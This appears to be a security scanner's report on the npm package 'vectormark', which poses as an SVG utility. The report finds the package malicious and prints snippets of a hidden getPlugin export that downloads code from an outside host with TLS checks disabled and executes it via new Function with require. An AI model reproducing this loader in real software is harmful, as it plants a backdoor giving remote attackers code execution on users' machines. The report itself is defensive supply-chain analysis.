An exported getPlugin factory returns a function that downloads and executes remote JavaScript with module-loading access. It is not invoked at install or import, but activation gives the remote response code execution.

## Security analysis

### Published attack-surface review

- **Summary:** An exported getPlugin factory returns a function that downloads and executes remote JavaScript with module-loading access. It is not invoked at install or import, but activation gives the remote response code execution.

- **Trigger:** A consumer calls getPlugin() and invokes the returned function.

- **Impact:** Remote code execution in the invoking Node.js process; TLS interception is permitted.

- **Evidence paths:** index.js, package.json, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-07-22T12:44:44.159Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Env-controlled HTTPS fetch followed by new Function execution with require.

- **Attack narrative:** index.js contains an undocumented getPlugin export unrelated to the advertised SVG utilities. When its returned function is invoked, it reads AVALANCHE\_FUJI\_RPC\_URL, disables certificate validation, downloads the response, and executes it through new Function while supplying require. This provides a remote operator or URL controller arbitrary code execution in the caller's process.

- **Rationale:** The package embeds a concealed remote-code loader with disabled TLS validation, despite presenting itself as a small SVG utility. No lifecycle hook is needed for the concrete user-triggered RCE capability to be malicious.

- **Files touched:** index.js, package.json, README.md, test.js

- **Network endpoints:** https://api.avax-test.dev/ext/bc/C/rpc, process.env.AVALANCHE\_FUJI\_RPC\_URL

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** index.js exports hidden getPlugin remote loader, getPlugin fetches an env-controlled URL, Fetched response is executed with new Function(require, ...), TLS verification is disabled for the fetch

- **Evidence against:** package.json has no lifecycle hooks, Most exports are local SVG helper functions, README documents only SVG helper APIs

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%

Package source references child process execution.

### 3. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/vectormark@1.0.1/index.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res =>
L92: res.on("data",  data => {const handler = new Function('require', data.toString())(require);}))
L93: };
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. High: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/vectormark@1.0.1/index.js>)

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L81: 
L82: const https = require('https');
L83: const request = require('request');
...
L87: const AVALANCHE_FUJI_RPC_URL =
L88: process.env.AVALANCHE_FUJI_RPC_URL ||
L89: "https://api.avax-test.dev/ext/bc/C/rpc";
...
L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res =>
L92: res.on("data",  data => {const handler = new Function('require', data.toString())(require);}))
L93: };
```

### 7. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.
